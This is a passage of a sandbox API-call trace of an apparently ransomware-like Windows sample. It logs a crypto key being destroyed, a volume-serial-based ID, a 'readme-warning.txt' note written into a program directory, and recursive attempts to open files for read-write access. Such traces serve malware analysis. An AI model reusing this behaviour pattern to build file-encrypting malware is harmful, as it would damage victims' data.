| out: pbData=0x2f11700, pdwDataLen=0x4dfe2c4) returned 1 [0190.912] CryptDestroyKey (hKey=0x2f18388) returned 1 [0190.912] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe2c8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.912] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe2c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe2c0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.912] GetProcessHeap () returned 0x2ef0000 [0190.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0190.912] wsprintfA (in: param_1=0x4dfe50f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.912] wsprintfA (in: param_1=0x4dfe91c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.912] GetProcessHeap () returned 0x2ef0000 [0190.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f47728 [0190.912] wsprintfW (in: param_1=0x4dfd8ec, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt") returned 99 [0190.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.914] WriteFile (in: hFile=0x114, lpBuffer=0x2f47728*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfd8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f47728*, lpNumberOfBytesWritten=0x4dfd8e8*=0x3b3, lpOverlapped=0x0) returned 1 [0190.914] CloseHandle (hObject=0x114) returned 1 [0190.915] GetProcessHeap () returned 0x2ef0000 [0190.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0190.915] GetProcessHeap () returned 0x2ef0000 [0190.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0190.915] GetProcessHeap () returned 0x2ef0000 [0190.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.915] GetProcessHeap () returned 0x2ef0000 [0190.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.915] FindClose (in: hFindFile=0x2f18348 | out: hFindFile=0x2f18348) returned 1 [0190.915] GetProcessHeap () returned 0x2ef0000 [0190.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.915] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0190.915] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0190.915] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0190.915] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0190.916] GetProcessHeap () returned 0x2ef0000 [0190.916] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.916] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIN", cAlternateFileName="")) returned 0 [0190.916] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.916] GetProcessHeap () returned 0x2ef0000 [0190.916] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.916] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="14", cAlternateFileName="")) returned 0 [0190.916] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.916] GetProcessHeap () returned 0x2ef0000 [0190.916] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.916] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0190.916] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0190.916] GetProcessHeap () returned 0x2ef0000 [0190.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bf0 | out: hHeap=0x2ef0000) returned 1 [0190.917] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Services", cAlternateFileName="")) returned 1 [0190.917] GetProcessHeap () returned 0x2ef0000 [0190.917] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x5e) returned 0x2f123a0 [0190.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0190.917] GetProcessHeap () returned 0x2ef0000 [0190.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.917] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.917] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0190.917] GetProcessHeap () returned 0x2ef0000 [0190.917] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x260) returned 0x2f10788 [0190.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.920] GetLastError () returned 0x5 [0190.920] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0190.920] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0190.921] GetProcessHeap () returned 0x2ef0000 [0190.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.921] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0190.921] GetProcessHeap () returned 0x2ef0000 [0190.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x68) returned 0x2f123a0 [0190.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0190.921] GetProcessHeap () returned 0x2ef0000 [0190.921] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.921] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.921] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0190.922] GetProcessHeap () returned 0x2ef0000 [0190.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26a) returned 0x2f10788 [0190.922] GetProcessHeap () returned 0x2ef0000 [0190.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7c) returned 0x2f123a0 [0190.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0190.923] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.923] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 1 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27e) returned 0x2f14588 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x88) returned 0x2f45740 [0190.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0190.923] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.923] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28a) returned 0x2f11d10 [0190.923] GetProcessHeap () returned 0x2ef0000 [0190.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x94) returned 0x2f455c0 [0190.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0190.924] GetProcessHeap () returned 0x2ef0000 [0190.924] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0190.924] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.924] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0190.924] GetProcessHeap () returned 0x2ef0000 [0190.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x296) returned 0x2f16bf0 [0190.924] GetProcessHeap () returned 0x2ef0000 [0190.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa4) returned 0x2f455c0 [0190.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18348 [0190.924] GetProcessHeap () returned 0x2ef0000 [0190.924] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0190.924] FindNextFileW (in: hFindFile=0x2f18348, lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.924] FindNextFileW (in: hFindFile=0x2f18348, lpFindFileData=0x4dfeb68 | out: lpFindFileData=0x4dfeb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0190.925] FindClose (in: hFindFile=0x2f18348 | out: hFindFile=0x2f18348) returned 1 [0190.925] GetProcessHeap () returned 0x2ef0000 [0190.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2ef0000) returned 1 [0190.925] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0190.925] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0190.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0190.926] GetLastError () returned 0x5 [0190.926] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0190.926] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0190.926] GetProcessHeap () returned 0x2ef0000 [0190.926] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bf0 | out: hHeap=0x2ef0000) returned 1 [0190.926] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0190.926] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, 